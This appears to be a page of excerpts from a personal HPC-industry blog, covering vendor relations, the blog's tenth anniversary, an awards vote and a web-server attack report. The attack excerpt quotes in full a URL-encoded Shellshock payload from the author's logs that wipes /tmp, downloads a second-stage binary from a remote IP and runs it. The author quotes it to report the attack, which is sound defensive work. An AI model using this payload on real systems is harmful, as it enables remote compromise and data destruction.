Finding myself on the other side of the table in the consumer-vendor relationship has resulted in some eye opening experiences. These are things I look back on, and realize that I strenuously avoided doing during my Scalable days. But I see everyone doing it now, as they try to sell me stuff, or convince me to use things. One of the eye opening things is a bit of typecasting of sorts.

This was my first post. On 12-October-2005. I’ve written about many things over the past decade. 2000 plus posts, 200 per year, averages about 4 every 7 days or so. I’ve slowed down a bit in recent months, as work has grown more intense, but there are many thoughts I want to get down. To a large extent, my journey through HPC has been an interesting one, and only slightly captured in these posts.

Our friends at Lucera are in number 6 for best use of HPC in a financial services category. Our Unison product is at number 11 for Best HPC Storage Product or Technology. And I did a write in for #21 for us :D. Our friends at Mellanox have their 100Gb EDR Infiniband technology at number 14. Please do vote (early, not often).

I saw this attack in the day job’s web server logs today. From IP address 198.11.176.82, which appears to point back to Alibaba. This doesn’t mean anything in and of itself, until we look at the payload. ()%20%7B%20:;%20%7D;%20/bin/bash%20-c%20/x22rm%20-rf%20/tmp/*;echo%20wget%20http://115.28.231.237:999/htrdps%20-O%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20echo%20By%20China.Z%20%3E%3E%20/tmp/Run.sh;echo%20chmod%20777%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20rm%20-rf%20/tmp/Run.sh%20%3E%3E%20/tmp/Run.sh;chmod%20777%20/tmp/Run.sh;/tmp/Run.sh/x22 This appears to be an attempt to exploit a bash hole. What is interesting is the IP address to pull the second stage payload from. Run a whois against that … I’ll wait.

Dave Barry in his usual fine form … summarizes our year. The one take away should be … WHAP